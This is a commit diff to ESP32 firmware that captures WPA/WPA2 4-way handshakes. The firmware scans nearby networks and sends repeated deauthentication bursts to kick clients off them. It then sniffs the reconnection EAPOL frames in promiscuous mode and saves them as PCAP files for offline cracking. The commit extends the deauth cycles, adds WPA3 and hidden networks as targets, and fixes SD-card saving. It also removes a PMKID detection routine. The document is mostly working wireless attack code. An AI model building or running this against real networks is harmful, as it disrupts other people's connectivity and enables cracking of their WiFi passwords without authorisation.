handshake-capture-c6: production SD gating (SD_IsReady), v1.0.1
- Gate capture on SD_IsReady() after successful SD_Init; avoid false 'insert SD' when SD.cardType() lies after WiFi on shared SPI with LCD - SD_Init: LCD CS high, SD.end() on empty card; HandshakeCapture save path retries SD_Init before discard - FAT filename sanitize, discard deadlocks, WPA3 scan labels, docs (README, PRODUCTION, IMPROVEMENTS), firmware version 1.0.1 Made-with: Cursor
This commit is contained in:
@@ -4,6 +4,11 @@
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
|
||||
// Set 0 to use STA-only (test deauth + promiscuous on your core first).
|
||||
#ifndef USE_SOFTAP
|
||||
#define USE_SOFTAP 1
|
||||
#endif
|
||||
|
||||
// ─── Internal prototypes ───
|
||||
|
||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
@@ -12,29 +17,35 @@ static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len);
|
||||
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
|
||||
static void sendDeauthBurstAll();
|
||||
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);
|
||||
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len);
|
||||
static int getNextChannelSweep();
|
||||
static void sanitizeFilenameForFat(String& path);
|
||||
static void discardSlotCapture(CaptureSlot* s, int slot_index);
|
||||
|
||||
// ─── Shared state ───
|
||||
|
||||
WifiNetwork networks[MAX_NETWORKS];
|
||||
CaptureSlot slots[MAX_SLOTS];
|
||||
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1};
|
||||
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1};
|
||||
bool is_capturing = false;
|
||||
int current_channel = 0;
|
||||
volatile int latest_eapol_count = 0;
|
||||
volatile uint8_t latest_eapol_count[MAX_SLOTS] = {0, 0};
|
||||
CapturePhase capturePhase = PHASE_OBSERVING;
|
||||
|
||||
// ─── Phase timing ───
|
||||
|
||||
#define OBSERVE_DURATION_MS 5000
|
||||
#define CAPTURE_TIMEOUT_MS 10000
|
||||
// Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time.
|
||||
#define OBSERVE_DURATION_MS 8000
|
||||
#define CAPTURE_TIMEOUT_MS 20000
|
||||
#define DEAUTH_BURST_COUNT 5
|
||||
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
|
||||
#define MAX_PHASE_RETRIES 3 // 3 full cycles before moving to next channel
|
||||
#define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit
|
||||
#define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts
|
||||
#define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots
|
||||
// EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit).
|
||||
|
||||
static unsigned long phase_timer = 0;
|
||||
static uint8_t phase_retries = 0;
|
||||
// Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES).
|
||||
static uint8_t deauth_cycle_count = 0;
|
||||
static int last_channel = 0;
|
||||
|
||||
// Spinlock for data shared between promiscuous callback (WiFi task)
|
||||
@@ -65,13 +76,50 @@ static void markBssidCaptured(const uint8_t* bssid) {
|
||||
}
|
||||
}
|
||||
|
||||
static void sanitizeFilenameForFat(String& path) {
|
||||
for (unsigned i = 0; i < path.length(); i++) {
|
||||
char c = path[i];
|
||||
if (c == '/') continue;
|
||||
if ((unsigned char)c < 0x20 || c == '"' || c == '*' || c == '\\' || c == ':' ||
|
||||
c == '?' || c == '<' || c == '>' || c == '|' || c == '\'' || c == '[' || c == ']')
|
||||
path.setCharAt(i, '_');
|
||||
}
|
||||
}
|
||||
|
||||
// Release slot after failed/missing SD so capture never deadlocks on pending_save.
|
||||
static void discardSlotCapture(CaptureSlot* s, int slot_index) {
|
||||
pending_save_slots[slot_index] = -1;
|
||||
s->pcap_size = 0;
|
||||
s->active = false;
|
||||
s->eapol_count = 0;
|
||||
s->beacon_captured = false;
|
||||
s->client_count = 0;
|
||||
if (slot_index >= 0 && slot_index < MAX_SLOTS)
|
||||
latest_eapol_count[slot_index] = 0;
|
||||
|
||||
// Restore list row after failed save / missing SD (avoid stuck orange “active” look).
|
||||
int ni = s->network_index;
|
||||
if (ni >= 0 && ni < MAX_NETWORKS && !networks[ni].ssid.isEmpty()) {
|
||||
char line[48];
|
||||
snprintf(line, sizeof(line), "%02d. %s ch%d",
|
||||
ni + 1, networks[ni].ssid.c_str(), networks[ni].ch);
|
||||
Ui_SetNetworkText(ni, line);
|
||||
Ui_SetNetworkColor(ni, lv_palette_main(LV_PALETTE_GREEN));
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Init ───
|
||||
|
||||
void handshakeCaptureInit() {
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect(false, true);
|
||||
WiFi.setSleep(false);
|
||||
delay(100);
|
||||
#if USE_SOFTAP
|
||||
WiFi.mode(WIFI_AP_STA);
|
||||
#else
|
||||
WiFi.mode(WIFI_STA);
|
||||
#endif
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
@@ -84,41 +132,66 @@ void handshakeCaptureInit() {
|
||||
void handshakeCaptureProcessPending() {
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
if (pending_save_slots[i] < 0) continue;
|
||||
pending_save_slots[i] = -1;
|
||||
|
||||
CaptureSlot* s = &slots[i];
|
||||
if (!s->active || s->pcap_size == 0) continue;
|
||||
|
||||
String filename = "/handshake_";
|
||||
filename += s->ssid;
|
||||
filename += "_";
|
||||
filename += String(millis() / 1000);
|
||||
filename += ".pcap";
|
||||
filename.replace(" ", "_");
|
||||
|
||||
markBssidCaptured(s->bssid);
|
||||
if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
|
||||
networks[s->network_index].handshake_captured = true;
|
||||
Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
|
||||
if (!s->active || s->pcap_size <= sizeof(pcap_global_header_t) ||
|
||||
s->eapol_count < HANDSHAKE_EAPOL_FRAMES) {
|
||||
pending_save_slots[i] = -1;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Do not pre-check SD.cardType() here — it can read false after WiFi on shared SPI.
|
||||
// If the card was pulled, SD.open/write below fails and we discard then.
|
||||
if (!SD_IsReady()) {
|
||||
SD_Init();
|
||||
}
|
||||
if (!SD_IsReady()) {
|
||||
Serial.println("SD not ready — discarding pending PCAP");
|
||||
Ui_SetWifiStatus("SD: insert card");
|
||||
discardSlotCapture(s, i);
|
||||
continue;
|
||||
}
|
||||
|
||||
String filename = "/4way_";
|
||||
filename += s->ssid;
|
||||
filename += "_";
|
||||
filename += String((unsigned long)millis());
|
||||
filename += "_s";
|
||||
filename += String(i);
|
||||
filename += ".pcap";
|
||||
filename.replace(" ", "_");
|
||||
sanitizeFilenameForFat(filename);
|
||||
|
||||
File file = SD.open(filename.c_str(), FILE_WRITE);
|
||||
bool ok = false;
|
||||
if (file) {
|
||||
if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
|
||||
Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||||
Ui_SetWifiStatus("Saved PCAP!");
|
||||
Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||||
Ui_SetWifiStatus("4-way saved!");
|
||||
ok = true;
|
||||
} else {
|
||||
Serial.println("SD Write Failed!");
|
||||
Ui_SetWifiStatus("SD Write Err!");
|
||||
Serial.println("SD write failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD write err");
|
||||
}
|
||||
file.close();
|
||||
} else {
|
||||
Serial.println("SD Open Failed!");
|
||||
Ui_SetWifiStatus("SD Open Err!");
|
||||
Serial.println("SD open failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD open err");
|
||||
}
|
||||
|
||||
s->pcap_size = 0;
|
||||
s->active = false;
|
||||
if (ok) {
|
||||
pending_save_slots[i] = -1;
|
||||
markBssidCaptured(s->bssid);
|
||||
if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
|
||||
networks[s->network_index].handshake_captured = true;
|
||||
Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
|
||||
}
|
||||
s->pcap_size = 0;
|
||||
s->active = false;
|
||||
latest_eapol_count[i] = 0;
|
||||
} else {
|
||||
discardSlotCapture(s, i);
|
||||
}
|
||||
}
|
||||
refillSlots();
|
||||
}
|
||||
@@ -166,7 +239,9 @@ bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
||||
bool isCaptureable(int index) {
|
||||
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
|
||||
const String& enc = networks[index].encryption;
|
||||
return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
|
||||
if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true;
|
||||
if (enc == "WPA3" || enc == "WPA2/WPA3") return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
int getCaptureableCount() {
|
||||
@@ -178,26 +253,6 @@ int getCaptureableCount() {
|
||||
return n;
|
||||
}
|
||||
|
||||
int getBestChannel() {
|
||||
int best_ch = 0;
|
||||
int best_count = 0;
|
||||
int ch_counts[15] = {0};
|
||||
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||||
int ch = networks[i].ch;
|
||||
if (ch >= 1 && ch <= 14) {
|
||||
ch_counts[ch - 1]++;
|
||||
if (ch_counts[ch - 1] > best_count) {
|
||||
best_count = ch_counts[ch - 1];
|
||||
best_ch = ch;
|
||||
}
|
||||
}
|
||||
}
|
||||
return best_ch;
|
||||
}
|
||||
|
||||
static int getNextChannelSweep() {
|
||||
int ch_counts[15] = {0};
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
@@ -216,17 +271,33 @@ static int getNextChannelSweep() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void clearNetworkList() {
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
networks[i].ssid = "";
|
||||
networks[i].encryption = "";
|
||||
memset(networks[i].bssid, 0, 6);
|
||||
networks[i].ch = 0;
|
||||
networks[i].rssi = 0;
|
||||
networks[i].handshake_captured = false;
|
||||
}
|
||||
}
|
||||
|
||||
void scanNetworksSortedByRSSI() {
|
||||
memset(networks, 0, sizeof(networks));
|
||||
int n = WiFi.scanNetworks(false, false);
|
||||
clearNetworkList();
|
||||
int n = WiFi.scanNetworks(false, true);
|
||||
if (n == 0) return;
|
||||
|
||||
int stored = 0;
|
||||
for (int i = 0; i < n && stored < MAX_NETWORKS; i++) {
|
||||
String ssid = WiFi.SSID(i);
|
||||
if (ssid.isEmpty()) continue;
|
||||
|
||||
networks[stored].ssid = ssid;
|
||||
if (ssid.isEmpty()) {
|
||||
const uint8_t* b = WiFi.BSSID(i);
|
||||
char hid[24];
|
||||
snprintf(hid, sizeof(hid), "<hidden>_%02X%02X%02X", b[3], b[4], b[5]);
|
||||
networks[stored].ssid = hid;
|
||||
} else {
|
||||
networks[stored].ssid = ssid;
|
||||
}
|
||||
memcpy(networks[stored].bssid, WiFi.BSSID(i), 6);
|
||||
networks[stored].ch = WiFi.channel(i);
|
||||
networks[stored].rssi = WiFi.RSSI(i);
|
||||
@@ -237,6 +308,12 @@ void scanNetworksSortedByRSSI() {
|
||||
else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2";
|
||||
else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2";
|
||||
else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise";
|
||||
#if defined(WIFI_AUTH_WPA3_PSK)
|
||||
else if (enc == WIFI_AUTH_WPA3_PSK) networks[stored].encryption = "WPA3";
|
||||
#endif
|
||||
#if defined(WIFI_AUTH_WPA2_WPA3_PSK)
|
||||
else if (enc == WIFI_AUTH_WPA2_WPA3_PSK) networks[stored].encryption = "WPA2/WPA3";
|
||||
#endif
|
||||
else networks[stored].encryption = "Unknown";
|
||||
networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid);
|
||||
|
||||
@@ -334,12 +411,14 @@ static void sendDeauthBurstAll() {
|
||||
Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
|
||||
for (uint8_t c = 0; c < s->client_count; c++) {
|
||||
sendDeauthToClient(s->bssid, s->clients[c].mac);
|
||||
if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS);
|
||||
}
|
||||
} else {
|
||||
Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
|
||||
uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
sendDeauthToClient(s->bssid, bcast);
|
||||
}
|
||||
delay(DEAUTH_GAP_AFTER_SLOT_MS);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -377,7 +456,8 @@ void startMultiCapture() {
|
||||
is_capturing = true;
|
||||
capturePhase = PHASE_OBSERVING;
|
||||
phase_timer = millis();
|
||||
phase_retries = 0;
|
||||
deauth_cycle_count = 0;
|
||||
for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0;
|
||||
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
|
||||
@@ -388,7 +468,7 @@ void stopCapture() {
|
||||
is_capturing = false;
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
if (slots[i].active) {
|
||||
if (slots[i].eapol_count >= 1) {
|
||||
if (slots[i].eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
|
||||
pending_save_slots[i] = i;
|
||||
} else {
|
||||
slots[i].pcap_size = 0;
|
||||
@@ -422,17 +502,17 @@ void handshakeCaptureLoop() {
|
||||
|
||||
capturePhase = PHASE_CAPTURING;
|
||||
phase_timer = now;
|
||||
phase_retries++;
|
||||
deauth_cycle_count++;
|
||||
Serial.println("Phase 4: capturing handshakes...");
|
||||
}
|
||||
}
|
||||
|
||||
// Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop
|
||||
// Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts
|
||||
if (capturePhase == PHASE_CAPTURING) {
|
||||
if (now - phase_timer >= CAPTURE_TIMEOUT_MS) {
|
||||
if (phase_retries < MAX_PHASE_RETRIES) {
|
||||
if (deauth_cycle_count < MAX_OBSERVE_CYCLES) {
|
||||
Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n",
|
||||
phase_retries + 1, MAX_PHASE_RETRIES);
|
||||
(int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES);
|
||||
portENTER_CRITICAL(&capture_mux);
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
if (slots[i].active) slots[i].client_count = 0;
|
||||
@@ -441,6 +521,9 @@ void handshakeCaptureLoop() {
|
||||
|
||||
capturePhase = PHASE_OBSERVING;
|
||||
phase_timer = now;
|
||||
} else {
|
||||
Serial.println("Max observe/deauth cycles done; stopping capture on this channel.");
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -543,8 +626,7 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
|
||||
if (is_beacon) {
|
||||
if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) {
|
||||
s->beacon_captured = true;
|
||||
pcapAppendSlot(s, payload, len);
|
||||
if (pcapAppendSlot(s, payload, len)) s->beacon_captured = true;
|
||||
}
|
||||
portEXIT_CRITICAL(&capture_mux);
|
||||
return;
|
||||
@@ -557,62 +639,14 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
}
|
||||
|
||||
if (is_eapol) {
|
||||
s->eapol_count++;
|
||||
pcapAppendSlot(s, payload, len);
|
||||
latest_eapol_count = s->eapol_count;
|
||||
|
||||
// Save immediately on PMKID presence (M1 can be sufficient)
|
||||
if (s->eapol_count == 1 && eapolHasPmkid(payload, len, mhl)) {
|
||||
pending_save_slots[hit_slot] = hit_slot;
|
||||
} else if (s->eapol_count >= 2) {
|
||||
pending_save_slots[hit_slot] = hit_slot;
|
||||
if (pcapAppendSlot(s, payload, len)) {
|
||||
s->eapol_count++;
|
||||
latest_eapol_count[hit_slot] = s->eapol_count;
|
||||
if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
|
||||
pending_save_slots[hit_slot] = hit_slot;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
portEXIT_CRITICAL(&capture_mux);
|
||||
}
|
||||
|
||||
// Minimal PMKID KDE detection for RSN (00:0f:ac:04)
|
||||
// payload points at 802.11 header start; mac_hdr_len points at LLC/SNAP start.
|
||||
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len) {
|
||||
if (mac_hdr_len == 0) return false;
|
||||
if (len < mac_hdr_len + 8 + 4) return false; // LLC/SNAP + EAPOL hdr
|
||||
|
||||
// LLC/SNAP is 8 bytes: DSAP,SSAP,CTRL,OUI(3),Ethertype(2)
|
||||
const uint16_t eapol_off = mac_hdr_len + 8;
|
||||
if (len < eapol_off + 4) return false;
|
||||
|
||||
// EAPOL header
|
||||
// [0]=ver, [1]=type, [2..3]=len
|
||||
uint8_t eapol_type = payload[eapol_off + 1];
|
||||
if (eapol_type != 3) return false; // EAPOL-Key
|
||||
|
||||
uint16_t eapol_len = ((uint16_t)payload[eapol_off + 2] << 8) | payload[eapol_off + 3];
|
||||
if (len < eapol_off + 4 + eapol_len) return false;
|
||||
|
||||
const uint16_t key_off = eapol_off + 4;
|
||||
if (eapol_len < 95) return false; // too small to contain WPA2 key + KDEs
|
||||
|
||||
// WPA2 EAPOL-Key fixed fields are 95 bytes after key descriptor type
|
||||
// Key Data Length is at offset 97–98 from start of key frame (descriptor included).
|
||||
// Layout: desc(1), key_info(2), key_len(2), replay(8), nonce(32), iv(16),
|
||||
// rsc(8), id(8), mic(16), key_data_len(2), key_data(variable)
|
||||
const uint16_t key_data_len_off = key_off + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16;
|
||||
if (key_data_len_off + 2 > key_off + eapol_len) return false;
|
||||
|
||||
uint16_t key_data_len = ((uint16_t)payload[key_data_len_off] << 8) | payload[key_data_len_off + 1];
|
||||
const uint16_t key_data_off = key_data_len_off + 2;
|
||||
if (key_data_off + key_data_len > key_off + eapol_len) return false;
|
||||
if (key_data_len < 20) return false;
|
||||
|
||||
// Search for RSN KDE: dd 14 00 0f ac 04 <16 bytes PMKID>
|
||||
for (uint16_t i = 0; i + 22 <= key_data_len; i++) {
|
||||
const uint16_t p = key_data_off + i;
|
||||
if (payload[p] != 0xDD) continue;
|
||||
if (payload[p + 1] != 0x14) continue;
|
||||
if (payload[p + 2] != 0x00 || payload[p + 3] != 0x0F || payload[p + 4] != 0xAC) continue;
|
||||
if (payload[p + 5] != 0x04) continue;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user